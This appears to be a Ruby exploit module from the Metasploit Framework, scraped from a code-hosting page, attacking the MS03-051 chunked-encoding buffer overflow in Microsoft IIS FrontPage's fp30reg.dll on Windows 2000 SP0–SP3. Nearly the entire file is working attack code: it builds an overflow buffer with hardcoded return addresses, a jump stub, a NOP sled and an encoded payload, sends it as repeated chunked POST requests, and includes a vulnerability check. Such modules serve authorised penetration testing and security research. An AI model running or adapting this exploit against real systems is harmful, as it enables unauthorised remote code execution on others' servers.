131 lines
3.2 KiB
Ruby
131 lines
3.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
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'Description' => %q{
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This is an exploit for the chunked encoding buffer overflow
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described in MS03-051 and originally reported by Brett
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Moore. This particular modules works against versions of
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Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
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issue.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2003-0822'],
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[ 'OSVDB', '2952'],
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[ 'BID', '9007'],
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[ 'MSB', 'MS03-051'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll
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['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/2002
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['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/1999
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],
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'DisclosureDate' => 'Nov 11 2003',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
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], self.class)
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end
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def exploit
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print_status("Creating overflow request for fp30reg.dll...")
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pat = rand_text_alphanumeric(0xdead)
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pat[128, 4] = [target.ret].pack('V')
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pat[264, 4] = [target.ret].pack('V')
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# sub eax,0xfffffeff; jmp eax
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pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
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pat[280, 512] = make_nops(512)
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pat[792, payload.encoded.length] = payload.encoded
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0.upto(15) do |i|
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if (i % 3 == 0)
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print_status("Refreshing the remote dllhost.exe process...")
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res = send_request_raw({
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'uri' => datastore['URL']
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}, -1)
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if (res and res.body =~ /specified module could not be found/)
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print_status("The server states that #{datastore['URL']} does not exist.\n")
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return
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end
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end
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print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")
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res = send_request_raw({
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'uri' => datastore['URL'],
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'method' => 'POST',
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'headers' =>
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{
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'Transfer-Encoding' => 'Chunked'
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},
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'data' => "DEAD\r\n#{pat}\r\n0\r\n"
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}, 5)
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if (res and res.body =~ /specified module could not be found/)
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print_status("The server states that #{datastore['URL']} does not exist.\n")
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return
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end
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handler
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sleep(1)
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end
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end
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def check
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print_status("Requesting the vulnerable ISAPI path...")
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r = send_request_raw({
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'uri' => datastore['URL']
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}, -1)
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if (r and r.code == 501)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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end
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